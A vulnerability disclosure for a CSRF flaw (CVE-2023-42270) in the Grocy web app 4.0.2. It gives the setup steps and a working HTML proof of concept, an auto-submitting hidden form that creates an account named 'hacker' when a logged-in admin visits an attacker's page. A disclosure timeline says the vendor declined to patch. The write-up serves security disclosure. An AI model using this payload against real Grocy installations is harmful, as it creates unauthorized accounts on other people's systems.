CVE-2023-42270 - Grocy <= 4.0.2 CSRF Vulnerability⌗
During a review of the Grocy Webapp (Version 4.0.2), I discovered that the application would make requests using JSON formatting when creating a new user. By changing the Content-Type to x-www-form-urlencoded, I noticed that I was able to create a new user by making a request via Burp Suite without interacting with the page. Additionally, no CSRF token was required to do so. This has the potential to allow an attacker to create a new user via a XSS exploit from another site or through a phishing campaign.
Proof of Concept⌗
I started with pulling Grocy from their GitHub page and spinning it up with docker using the following commands:
docker run -d \ --name=grocy \ -e PUID=1000 \ -e PGID=1000 \ -e TZ=Etc/UTC \ -p 9283:80 \ -v /path/to/data:/config \ --restart unless-stopped \ lscr.io/linuxserver/grocy:latest sudo docker start grocy
I then logged into the application as admin:admin to simulate the administrator being logged into the application.
In order for this to be effective, two variables must be satisfied prior to the attack:
- The victim must be logged into Grocy at the time of the attack
- The victim must have Create User permissions enabled Note: This is enabled by default
Host the following code on an attacker controlled web address:
<html> <form action="/api/users" method="post" enctype="application/x-www-form-urlencoded"> <input name='username' value='hacker' type='hidden'> <input name='password' value='test' type='hidden'> <input type=submit> </form> <script> history.pushState('','', '/'); document.forms.submit(); </script> </html>
If a user is logged into the grocy webapp and has the permissions to create new users at the time of being redirected to the above hosted code, a new user will be created with a username: hacker and password: test.
This can be seen in action in the gif shown below:
Assuming the Grocery Administrator is currently logged into their Grocy account, an attacker could create an admin account on the behalf of the Grocy Administrator.
Currently no resolution. Vendor has been made away of the situation and refuses to patch the application
- Grocy Version 4.0.2
- Firefox 102.10.0
- Default Configuration on all products
8/31/2023 ~2:00 PM ~ Emailed Grocy for Security Disclosure. 8/31/2023 ~4:00 PM ~ Vendor responded and refuses to fix the issue but has allowed publication.